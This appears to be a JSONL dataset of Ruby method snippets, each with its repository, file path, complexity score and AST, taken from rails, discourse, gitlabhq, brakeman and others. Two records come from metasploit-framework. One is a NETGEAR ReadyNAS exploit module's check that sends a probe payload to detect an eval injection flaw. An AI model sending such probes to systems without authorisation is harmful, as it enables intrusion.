{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_render.rb","start_line":108,"raw_source":"def known_renderable_class? class_name\n    klass = tracker.find_class(class_name)\n    return false if klass.nil?\n    knowns = [\n      :\"ViewComponent::Base\",\n      :\"ViewComponentContrib::Base\",\n      :\"Phlex::HTML\"\n    ]\n    knowns.any? { |k| klass.ancestor? k }\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"known_renderable_class?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_class\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"knowns\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ViewComponent::Base\"]},{\"type\":\"sym\",\"children\":[\"ViewComponentContrib::Base\"]},{\"type\":\"sym\",\"children\":[\"Phlex::HTML\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"knowns\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"ancestor?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]}","id":"7e717aa1-2ab1-4c03-b00e-e863f1b64610"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/text_helper.rb","start_line":529,"raw_source":"def get_cycle(name)\n          @_cycles = Hash.new unless defined?(@_cycles)\n          @_cycles[name]\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_cycle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_cycles\"]}]},null,{\"type\":\"ivasgn\",\"children\":[\"@_cycles\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_cycles\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"70ab408d-1b20-4906-9980-caa0d8e330df"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/splunk.rb","start_line":17,"raw_source":"def initialize(info = {})\n            super\n\n            register_options(\n              [\n                Msf::OptString.new('TARGETURI', [true, 'The base path to the splunk application', '/'])\n              ], Msf::Exploit::Remote::HTTP::Splunk\n            )\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the splunk application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"HTTP\"]},\"Splunk\"]}]}]}]}","id":"a46b1eb8-72f1-42fe-bdb9-f84e2565d60d"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/steps/users.rb","start_line":136,"raw_source":"def after_commit_of_inserted_rows(rows)\n      super\n\n      rows.each do |row|\n        if row[:id] && row[:username] && row[:username] != row[:original_username]\n          @intermediate_db.insert(\n            INSERT_MAPPED_USERNAMES_SQL,\n            [row[:id], row[:original_username], row[:username]],\n          )\n        end\n      end\n    end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"after_commit_of_inserted_rows\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original_username\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@intermediate_db\"]},\"insert\",{\"type\":\"const\",\"children\":[null,\"INSERT_MAPPED_USERNAMES_SQL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original_username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]},null]}]}]}]}","id":"87c7bf78-6838-4122-97ed-2506b9875098"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/server/socket_reader.rb","start_line":48,"raw_source":"def parse_header(header)\n        token, cwd, command, *args = header.shellsplit\n        Header.new(token, cwd, command, args)\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\"]},{\"type\":\"lvasgn\",\"children\":[\"cwd\"]},{\"type\":\"lvasgn\",\"children\":[\"command\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"shellsplit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Header\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"cwd\"]},{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"fb3cadf7-3f57-4120-a045-735d06e58c37"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_view.rb","start_line":18,"raw_source":"def self.preload(topic_view)\n    @preload.each { |preload| preload.call(topic_view) } if @preload\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"preload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic_view\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preload\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preload\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preload\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"topic_view\"]}]}]},null]}]}","id":"16279ebd-a410-4ed5-b55f-a0d8e4350c7c"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/posts/find.rb","start_line":58,"raw_source":"def published?\n        published.present?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"published?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"published\"]},\"present?\"]}]}","id":"8fdc4a63-5e6e-4936-8dbd-64fd253d1b17"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/resource_action_serializer.rb","start_line":5,"raw_source":"def serialize(resource_action)\n    included_attributes(resource_action.attributes)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_action\"]}]},{\"type\":\"send\",\"children\":[null,\"included_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_action\"]},\"attributes\"]}]}]}","id":"bd95b00b-8d68-4809-9b56-698fa178a0ca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/has_many_through_association.rb","start_line":199,"raw_source":"def through_records_for(record)\n          attributes = construct_join_attributes(record)\n          candidates = Array.wrap(through_association.target)\n          candidates.find_all do |c|\n            attributes.all? do |key, value|\n              c.public_send(key) == value\n            end\n          end\n        end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"through_records_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[null,\"construct_join_attributes\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"candidates\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"through_association\"]},\"target\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidates\"]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"a0659747-0857-42d3-8f33-14df44eff437"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/feeds/assemble_article_markdown.rb","start_line":131,"raw_source":"def parse_and_translate_youtube_iframe!(html_doc)\n      html_doc.css(\"iframe\").each do |iframe|\n        next unless iframe.attributes[\"src\"].value.include?(\"youtube.com\")\n\n        iframe.name = \"p\"\n        youtube_id = iframe.attributes[\"src\"].value.scan(/embed%2F(.{4,11})/).flatten.first\n        iframe.keys.each { |attr| iframe.remove_attribute(attr) } # rubocop:disable Style/HashEachMethods\n        iframe.inner_html = \"{% youtube #{youtube_id} %}\"\n      end\n    end","complexity_score":29.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_and_translate_youtube_iframe!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html_doc\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"iframe\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"iframe\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iframe\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"src\"]}]},\"value\"]},\"include?\",{\"type\":\"str\",\"children\":[\"youtube.com\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iframe\"]},\"name=\",{\"type\":\"str\",\"children\":[\"p\"]}]},{\"type\":\"lvasgn\",\"children\":[\"youtube_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iframe\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"src\"]}]},\"value\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"embed%2F(.{4,11})\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iframe\"]},\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iframe\"]},\"remove_attribute\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iframe\"]},\"inner_html=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% youtube \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"youtube_id\"]}]},{\"type\":\"str\",\"children\":[\" %}\"]}]}]}]}]}]}","id":"6e16fe5a-bfc3-475c-a9bf-1aeb42cb8daa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/netgear_readynas_exec.rb","start_line":83,"raw_source":"def check\n    res = send_request_payload(\")\")\n    if res and res.code == 200 and res.body =~ /syntax error at \\(eval/\n      return Exploit::CheckCode::Vulnerable\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":9.25,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_payload\",{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"syntax error at \\\\(eval\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"dd7a01bb-24b6-4ba8-8b4b-1cf9ca23360a"}
{"repo_name":"warden","file_path":"./repos/warden/lib/warden/test/helpers.rb","start_line":30,"raw_source":"def logout(*scopes)\n        Warden.on_next_request do |proxy|\n          proxy.logout(*scopes)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"logout\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"scopes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Warden\"]},\"on_next_request\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"proxy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proxy\"]},\"logout\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scopes\"]}]}]}]}]}","id":"a15fef68-abbc-460a-86d1-ed337abfd733"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/invalid_options_test.rb","start_line":10,"raw_source":"def invalid_add_column_option_exception_message(key)\n        default_keys = [\":limit\", \":precision\", \":scale\", \":default\", \":null\", \":collation\", \":comment\", \":primary_key\", \":if_exists\", \":if_not_exists\"]\n\n        if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)\n          default_keys.concat([\":auto_increment\", \":charset\", \":as\", \":size\", \":unsigned\", \":first\", \":after\", \":type\", \":stored\"])\n        elsif current_adapter?(:PostgreSQLAdapter)\n          default_keys.concat([\":array\", \":using\", \":cast_as\", \":as\", \":type\", \":enum_type\", \":stored\"])\n        elsif current_adapter?(:SQLite3Adapter)\n          default_keys.concat([\":as\", \":type\", \":stored\"])\n        end\n\n        \"Unknown key: :#{key}. Valid keys are: #{default_keys.join(\", \")}\"\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_add_column_option_exception_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":limit\"]},{\"type\":\"str\",\"children\":[\":precision\"]},{\"type\":\"str\",\"children\":[\":scale\"]},{\"type\":\"str\",\"children\":[\":default\"]},{\"type\":\"str\",\"children\":[\":null\"]},{\"type\":\"str\",\"children\":[\":collation\"]},{\"type\":\"str\",\"children\":[\":comment\"]},{\"type\":\"str\",\"children\":[\":primary_key\"]},{\"type\":\"str\",\"children\":[\":if_exists\"]},{\"type\":\"str\",\"children\":[\":if_not_exists\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_keys\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":auto_increment\"]},{\"type\":\"str\",\"children\":[\":charset\"]},{\"type\":\"str\",\"children\":[\":as\"]},{\"type\":\"str\",\"children\":[\":size\"]},{\"type\":\"str\",\"children\":[\":unsigned\"]},{\"type\":\"str\",\"children\":[\":first\"]},{\"type\":\"str\",\"children\":[\":after\"]},{\"type\":\"str\",\"children\":[\":type\"]},{\"type\":\"str\",\"children\":[\":stored\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"PostgreSQLAdapter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_keys\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":array\"]},{\"type\":\"str\",\"children\":[\":using\"]},{\"type\":\"str\",\"children\":[\":cast_as\"]},{\"type\":\"str\",\"children\":[\":as\"]},{\"type\":\"str\",\"children\":[\":type\"]},{\"type\":\"str\",\"children\":[\":enum_type\"]},{\"type\":\"str\",\"children\":[\":stored\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_keys\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":as\"]},{\"type\":\"str\",\"children\":[\":type\"]},{\"type\":\"str\",\"children\":[\":stored\"]}]}]},null]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown key: :\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\". Valid keys are: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_keys\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}","id":"7f72db3f-53e2-411c-850a-258da9d1744c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/runner_base.rb","start_line":108,"raw_source":"def start_container_and_register\n        @docker_container ||= Service::DockerRun::GitlabRunner.new(name).tap do |runner|\n          runner.image = image if image\n\n          Support::Retrier.retry_on_exception(sleep_interval: 5) do\n            runner.pull\n          end\n\n          runner.token = token\n          runner.address = Runtime::Scenario.gitlab_address\n          runner.tags = tags if tags\n          runner.config = config if config\n          runner.executor = executor\n          runner.executor_image = executor_image if executor == :docker\n          runner.run_untagged = run_untagged if run_untagged\n          runner.register!\n        end\n        populate_initial_id\n      rescue StandardError => e\n        @docker_container&.remove!\n        raise(e)\n      end","complexity_score":57.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start_container_and_register\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@docker_container\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Service\"]},\"DockerRun\"]},\"GitlabRunner\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"runner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"image\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"image=\",{\"type\":\"send\",\"children\":[null,\"image\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Retrier\"]},\"retry_on_exception\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"pull\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"token=\",{\"type\":\"send\",\"children\":[null,\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"address=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Scenario\"]},\"gitlab_address\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"tags=\",{\"type\":\"send\",\"children\":[null,\"tags\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"config=\",{\"type\":\"send\",\"children\":[null,\"config\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"executor=\",{\"type\":\"send\",\"children\":[null,\"executor\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]},\"==\",{\"type\":\"sym\",\"children\":[\"docker\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"executor_image=\",{\"type\":\"send\",\"children\":[null,\"executor_image\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_untagged\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"run_untagged=\",{\"type\":\"send\",\"children\":[null,\"run_untagged\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"register!\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"populate_initial_id\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@docker_container\"]},\"remove!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"e3a76207-732d-4ee5-ac3b-c2176fd55a88"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuable_finder/params.rb","start_line":66,"raw_source":"def filter_by_no_release?\n      params[:release_tag].to_s.downcase == FILTER_NONE\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_no_release?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"release_tag\"]}]},\"to_s\"]},\"downcase\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"FILTER_NONE\"]}]}]}","id":"69f4bb3e-064d-400e-b294-bb71fe790acb"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/environment_printer.rb","start_line":286,"raw_source":"def self.anonymized_path(path, home = ENV['HOME'])\n      return home ? path.gsub(%r{^#{home}(?=/(.*)|$)}, '~\\2') : path\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"anonymized_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"home\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HOME\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"home\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"home\"]}]},{\"type\":\"str\",\"children\":[\"(?=/(.*)|$)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"~\\\\2\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"43249129-f314-4c5c-a6b7-b60bd9c0ff8b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_task.rb","start_line":116,"raw_source":"def status_timeout?\n    self.class.status_timeout?(status)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"status_timeout?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"status_timeout?\",{\"type\":\"send\",\"children\":[null,\"status\"]}]}]}","id":"7cb05735-be25-4f20-8f0e-e955e2bc73f4"}
